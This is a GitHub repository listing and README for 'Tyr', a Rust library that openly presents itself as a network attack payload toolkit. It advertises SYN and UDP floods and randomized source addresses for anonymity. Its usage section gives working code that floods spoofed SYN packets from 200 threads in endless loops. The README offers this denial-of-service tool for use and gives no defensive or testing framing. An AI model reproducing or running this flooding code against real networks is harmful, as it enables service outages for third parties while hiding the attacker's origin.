https://github.com/noctisynth/tyr
A high-performance, cross-platform and all-protocol network combat attack payload and policy library
https://github.com/noctisynth/tyr
Last synced: 2 months ago
JSON representation
A high-performance, cross-platform and all-protocol network combat attack payload and policy library
- Host: GitHub
- URL: https://github.com/noctisynth/tyr
- Owner: noctisynth
- Created: 2025-01-20T07:07:46.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-02-01T05:06:33.000Z (4 months ago)
- Last Synced: 2025-02-01T06:18:05.396Z (4 months ago)
- Language: Rust
- Size: 43.9 KB
- Stars: 4
- Watchers: 0
- Forks: 1
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Tyr
Tyr is a high-performance, cross-platform and all-protocol network combat attack payload and policy library.
## Features
- **Payload Generation**: Easily generate packets with customizable source and destination IP addresses, ports, and network interfaces.
- **Randomization**: Support for generating random IP addresses and ports for increased anonymity.
- **Multi-Threading**: Utilize multiple threads to send packets simultaneously, increasing the attack speed.
- **Datalink Layer**: Support for sending packets over the datalink layer, allowing for more advanced network attacks.
- **Network Combat Policy**: Support for launch network combat policies, including SYN flood, UDP flood, and more.
- **Error Handling**: Robust error handling to ensure smooth operation and informative error messages.## Getting Started
### Prerequisites
- Rust programming language
- _WinPcap for Windows users_### Installation
To use Tyr in your Rust project, add `tyr` to your `Cargo.toml` file.
Then, run `cargo build` to build your project.
## Usage
Here's a simple example of how to use Tyr to send SYN packets:
```rust
use pnet::datalink;
use tyr::error::Error;
use tyr::payload::Payload;fn main() -> Result<(), Error> {
tyr::rerun_if_not_root()?;let interface = tyr::interface::get_interface("wlo1").ok_or(Error::InterfaceNotFound)?;
let mut payload = tyr::payload::syn::SYNPayload::random(&interface);
let mut packet = [0u8; 52];
payload.build(&mut packet)?;let mut handles = vec![];
for _ in 0..200 {
let interface = interface.clone();
if let datalink::Channel::Ethernet(mut tx, _) =
datalink::channel(&interface, Default::default())?
{
let handle: std::thread::JoinHandle> =
std::thread::spawn(move || loop {
tx.send_to(&packet, Some(interface.clone())).unwrap()?;
});
handles.push(handle);
};
}for handle in handles {
handle.join().unwrap()?;
}Ok(())
}
```## Contributing
Contributions are very welcome! Please read our [Contributing Guidelines](CONTRIBUTING.md) for more information.
## License
This project is licensed under the AGPL-3.0 License by [@Noctisynth](https://github.com/noctisynth), org.